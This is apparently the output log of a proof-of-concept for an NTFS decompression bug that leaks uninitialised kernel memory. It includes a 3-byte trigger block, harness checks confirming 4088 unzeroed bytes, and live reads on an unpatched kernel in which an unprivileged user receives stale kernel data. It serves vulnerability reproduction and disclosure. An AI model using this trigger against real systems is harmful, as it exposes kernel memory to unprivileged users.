########## DETERMINISTIC HARNESS ########## === DF-0933 ntfs_uncompblock uninitialized-tail harness === [harness] transcribes sys/vfs/ntfs/ntfs_compr.c:46-93 line-for-line [harness] trigger block (3 bytes + zero pad): 01 80 00 [harness] header 0x8001: COMPRESSED, len=1 (payload+header = 4 B) [harness] ctag 0x00: all 8 sub-tokens are LITERALS [harness] -> decompresses only buf[0..7], pos ends at 8 [harness] -> buf[8..4095] (4088 B) never written, never zeroed [harness] ntfs_uncompblock returned 4 (len+3) [harness] buf[0..15] (first 8 = literals, 8..15 = tail): 00 00 00 00 00 00 00 00 DE DE DE DE DE DE DE DE [harness] bytes still == 0xDE sentinel in buf[8..4095]: 4072 / 4088 [harness] buf[4080..4095] (ascii marker region): 53 54 41 4C 45 2D 4B 4D 41 4C 4C 4F 43 2D 48 45 |STALE-KMALLOC-HE| [harness] LEAK CONFIRMED: buf[8..4095] retains the sentinel. [harness] The compressed branch of ntfs_uncompblock returned [harness] without zeroing 4088 bytes of the output block. [harness] On the kernel these bytes are stale M_NTFSDECOMP slab [harness] content shipped to any reader via uiomove. ########## LIVE IN-KERNEL (#0 GENERIC, UNPATCHED) ########## --- root reads (first 64 B) --- root read 1: 00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00 e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00 90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 root read 2: 00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00 e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00 90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 root read 3: 00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00 e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00 90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 nonzero bytes in 4096: 1364 --- unprivileged maxx (uid 1001) reads (first 64 B) --- 00 00 00 00 00 00 00 00 d8 33 73 00 08 00 00 00 e0 33 73 00 08 00 00 00 88 30 73 00 08 00 00 00 90 30 73 00 08 00 00 00 98 30 73 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 RC=0 RUN_DONE